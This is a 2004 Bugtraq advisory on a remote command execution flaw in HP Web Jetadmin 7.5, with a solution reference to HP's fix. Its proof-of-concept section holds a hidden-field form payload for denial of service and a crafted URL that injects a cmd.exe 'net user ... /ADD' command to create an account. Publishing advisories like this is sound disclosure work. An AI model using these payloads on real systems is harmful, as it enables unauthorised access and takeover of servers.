HP Web Jetadmin Remote Arbitrary Command Execution Vulnerability

BID:9973

Info

HP Web Jetadmin Remote Arbitrary Command Execution Vulnerability

Bugtraq ID: 9973
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 24 2004 12:00AM
Updated: Mar 24 2004 12:00AM
Credit: Disclosure of this issue is credited to "wirepair" <[email protected]> and H D Moore <[email protected]>.
Vulnerable: HP Web Jetadmin 7.5.2456
Not Vulnerable:

Discussion

HP Web Jetadmin Remote Arbitrary Command Execution Vulnerability

Reportedly HP web Jetadmin is prone to a remote arbitrary command execution vulnerability. This issue is due to a failure of the application to properly validate and sanitize user supplied input.

Successful exploitation of this issue will allow a malicious user to execute arbitrary commands on the affected system.

This issue has been tested with an authenticated account on HP Web Jetadmin version 7.5.2546 running on a Windows platform.

Exploit / POC

HP Web Jetadmin Remote Arbitrary Command Execution Vulnerability

The following proof of concept example has been provided:
/plugins/hpjfpmui/script/wja_update_product.hts:
(Changed the value of obj to our DoS function)
<FORM onsubmit="return VerifyUpload(this)" action=wja_update_product.hts
method=post encType=multipart/form-data>
<INPUT type=hidden value=[[httpd:RemoveCacheFiles($dir$)]] name=obj> <INPUT
type=hidden value=true name=__save>
<INPUT type=hidden value=0 name=packageCount> <INPUT type=hidden value=blah.fpm name=goodFilename>

The following proof of concept that will create a user account has been provided by H D Moore <[email protected]>:

https://<target>:8443/plugins/framework/script/tree.xms?obj=httpd:WriteToFile([$__installdir$]conf/portlisten.conf,Listen%208000%0A%0DAccessLog%20"|../../../../../../winnt/system32/cmd.exe%20/c%20net%20user%20P%20P%20/ADD")

Solution / Fix

HP Web Jetadmin Remote Arbitrary Command Execution Vulnerability

Solution:
HP has made an advisory available (SSRT4739 rev.0) dealing with this issue. Please see the referenced advisory for more information.


HP Web Jetadmin 7.5.2456

References

HP Web Jetadmin Remote Arbitrary Command Execution Vulnerability

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